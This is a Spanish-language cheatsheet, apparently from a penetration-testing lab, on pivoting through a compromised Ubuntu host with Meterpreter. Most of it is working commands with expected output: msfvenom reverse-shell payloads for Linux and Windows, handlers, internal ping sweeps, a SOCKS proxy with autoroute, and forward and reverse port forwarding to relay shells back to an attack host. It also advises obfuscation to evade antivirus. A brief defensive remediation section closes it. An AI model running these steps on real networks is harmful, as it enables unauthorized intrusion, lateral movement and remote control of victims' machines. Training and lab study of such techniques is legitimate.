> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/tunneling-and-portforwarding/meterpreter-tunneling-and-portforwarding.md). # Meterpreter Tunneling & Portforwarding ### Escenario Tenemos acceso Meterpreter a un Ubuntu server (pivot host) y queremos enumerar la red interna `172.16.5.0/23` sin depender de SSH port forwarding, aprovechando las capacidades nativas de Meterpreter. *** ### 1. Generación del Payload para el Pivot Host (Ubuntu) Creamos un payload ELF de Meterpreter reverse\_tcp para obtener una sesión estable en el pivot. ```bash msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080 ``` * `-p linux/x64/meterpreter/reverse_tcp` — payload Meterpreter para Linux x64 * `LHOST` — IP del attack host * `-f elf` — formato binario ELF (Linux) * `-o backupjob` — nombre del archivo de salida * `LPORT=8080` — puerto de escucha en el attack host **Output esperado:** `Saved as: backupjob` **⚠ El payload se escribe en disco en el pivot host — artefacto detectable por herramientas de monitoreo de integridad.** *** ### 2. Configuración del Listener (multi/handler) Antes de transferir el payload, levantar el handler en el attack host. ``` msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set lhost 0.0.0.0 msf6 exploit(multi/handler) > set lport 8080 msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > run ``` * `lhost 0.0.0.0` — escucha en todas las interfaces locales * `lport 8080` — debe coincidir exactamente con el `LPORT` del payload **Output esperado:** `[*] Started reverse TCP handler on 0.0.0.0:8080` *** ### 3. Ejecución del Payload en el Pivot Host Copiar el binario al Ubuntu pivot (por ejemplo vía SCP) y ejecutarlo. ```bash chmod +x backupjob ./backupjob ``` **Output esperado en el attack host:** ``` [*] Sending stage (3020772 bytes) to 10.129.202.64 [*] Meterpreter session 1 opened (10.10.14.18:8080 -> 10.129.202.64:39826) at 2022-03-03 12:27:43 -0500 ``` *** ### 4. Ping Sweep a través del Pivot Descubrir hosts vivos en la red interna. Asumiendo que el firewall del target permite ICMP. **Desde Meterpreter (módulo nativo):** ``` meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23 ``` **Alternativa — One-liner en Linux pivot host:** ```bash for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done ``` **Alternativa — Windows CMD:** ```cmd for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply" ``` **Alternativa — PowerShell:** ```powershell 1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.16.5.$($_) -quiet)"} ``` > **Nota:** Si el primer sweep no devuelve respuestas, repetirlo al menos dos veces — la construcción del arp cache toma tiempo y puede silenciar los primeros pings. > **Nota:** Si el firewall del target bloquea ICMP, pasar directamente a TCP scan con Nmap a través del SOCKS proxy (ver sección siguiente). *** ### 5. Configuración del SOCKS Proxy (socks\_proxy + proxychains) > **Concepto:** `socks_proxy` levanta un servidor SOCKS local en el attack host. Combinado con `autoroute`, todo el tráfico generado por herramientas externas (Nmap, etc.) se tuneliza a través de la sesión Meterpreter hacia la red interna — sin tocar SSH. ``` msf6 > use auxiliary/server/socks_proxy msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050 msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0 msf6 auxiliary(server/socks_proxy) > set version 4a msf6 auxiliary(server/socks_proxy) > run ``` * `SRVPORT 9050` — puerto estándar de SOCKS (Tor-compatible) * `SRVHOST 0.0.0.0` — acepta conexiones en todas las interfaces * `version 4a` — versión SOCKS (acepta `4a` o `5`) **Output esperado:** ``` [*] Auxiliary module running as background job 0. [*] Starting the SOCKS proxy server ``` Verificar que el job corre en background: ``` msf6 auxiliary(server/socks_proxy) > jobs ``` Agregar al final de `/etc/proxychains.conf`: ``` socks4 127.0.0.1 9050 ``` > **Nota:** Si el servidor corre en versión 5, cambiar `socks4` por `socks5` en `/etc/proxychains.conf`. *** ### 6. Añadir Rutas con AutoRoute Instruir a Metasploit para rutear el tráfico de proxychains por la sesión Meterpreter hacia la subred interna. **Método recomendado (módulo post):** ``` msf6 > use post/multi/manage/autoroute msf6 post(multi/manage/autoroute) > set SESSION 1 msf6 post(multi/manage/autoroute) > set SUBNET 172.16.5.0 msf6 post(multi/manage/autoroute) > run ``` **Alternativa desde la sesión Meterpreter (deprecado):** ``` meterpreter > run autoroute -s 172.16.5.0/23 ``` Listar rutas activas para confirmar la configuración: ``` meterpreter > run autoroute -p ``` **Output esperado:** ``` Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 10.129.0.0 255.255.0.0 Session 1 172.16.4.0 255.255.254.0 Session 1 172.16.5.0 255.255.254.0 Session 1 ``` > **Nota:** El uso de `run autoroute` directamente desde Meterpreter está deprecado. Preferir siempre `post/multi/manage/autoroute`. *** ### 7. Validar Proxy y Routing con Nmap Con el SOCKS proxy activo y las rutas configuradas, podemos lanzar Nmap a través de proxychains. ```bash proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn ``` * `proxychains` — redirige el tráfico por el SOCKS proxy local (puerto 9050) * `-p3389` — puerto RDP * `-sT` — TCP Connect scan (obligatorio con proxychains; el SYN scan no funciona sobre SOCKS) * `-Pn` — omite host discovery, asume el host activo **Output esperado:** ``` |S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:3389-<><>-OK Discovered open port 3389/tcp on 172.16.5.19 PORT STATE SERVICE 3389/tcp open ms-wbt-server ``` *** ### 8. Port Forwarding con portfwd > **Concepto:** `portfwd` crea un relay TCP directo en el attack host que reenvía conexiones hacia hosts de la red interna a través del túnel Meterpreter, sin necesidad de proxychains. Ver ayuda completa del módulo: ``` meterpreter > help portfwd ``` #### Forward Port Forward (Local → Interno) Exponer el RDP del Windows interno como `localhost:3300` en el attack host. ``` meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19 ``` * `-l 3300` — puerto local en el attack host donde escuchar * `-p 3389` — puerto remoto en el host destino * `-r 172.16.5.19` — IP del host destino en la red interna **Output esperado:** `[*] Local TCP relay created: :3300 <-> 172.16.5.19:3389` Conectar por RDP usando el relay local: ```bash xfreerdp /v:localhost:3300 /u:victor /p:pass@123 ``` Verificar la sesión establecida con netstat: ```bash netstat -antp ``` **Output esperado:** ``` tcp 0 0 127.0.0.1:54652 127.0.0.1:3300 ESTABLISHED 4075/xfreerdp ``` *** ### 9. Reverse Port Forwarding Cuando necesitamos recibir shells generados en la red interna (Windows target → Ubuntu pivot → Attack host). Configurar el relay reverso: el Ubuntu pivot escuchará en `1234` y reenviará todo lo que reciba al attack host en `8081`. ``` meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.18 ``` * `-R` — activa el modo reverse port forward * `-l 8081` — puerto local en el attack host donde recibiremos la shell * `-p 1234` — puerto en el Ubuntu pivot donde llegará la conexión del Windows * `-L 10.10.14.18` — IP del attack host **Output esperado:** `[*] Local TCP relay created: 10.10.14.18:8081 <-> :1234` Enviar la sesión al background y levantar el handler para Windows: ``` meterpreter > bg msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LPORT 8081 msf6 exploit(multi/handler) > set LHOST 0.0.0.0 msf6 exploit(multi/handler) > run ``` Generar el payload para el Windows target (apunta al Ubuntu pivot, no al attack host): ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234 ``` * `LHOST=172.16.5.129` — IP del Ubuntu pivot (no del attack host directamente) * `LPORT=1234` — puerto configurado en el reverse portfwd * `-f exe` — ejecutable Windows **⚠ El payload `.exe` se escribe en disco en el Windows target — alta probabilidad de detección por AV/EDR. Considerar ofuscación o técnicas de evasión antes de transferirlo.** **Output esperado tras ejecutar el payload en el Windows target:** ``` [*] Meterpreter session 2 opened (10.10.14.18:8081 -> 10.10.14.18:40173) at 2022-03-04 15:26:14 -0500 ``` > **Nota:** Al desplegar el lab, esperar entre 3 y 5 minutos para que todas las configuraciones terminen de levantarse antes de intentar la conexión. *** ### Remediación (Perspectiva Defensiva) * **Detección de pivoting SOCKS:** monitorear conexiones salientes en el puerto 9050 y tráfico inusual entre segmentos de red con IDS/IPS. * **Artefactos en disco:** alertar sobre binarios ELF o EXE con nombres genéricos (`backupjob`, `backupscript.exe`) ejecutados en servidores. * **Netstat en hosts sospechosos:** `netstat -antp` puede revelar sesiones Meterpreter activas o relays TCP inesperados. * **Segmentación de red:** aplicar microsegmentación estricta para limitar el alcance del pivoting y el movimiento lateral. * **Bloqueo ICMP inter-segmento:** dificulta el ping sweep inicial de reconocimiento de red interna. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/tunneling-and-portforwarding/meterpreter-tunneling-and-portforwarding.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.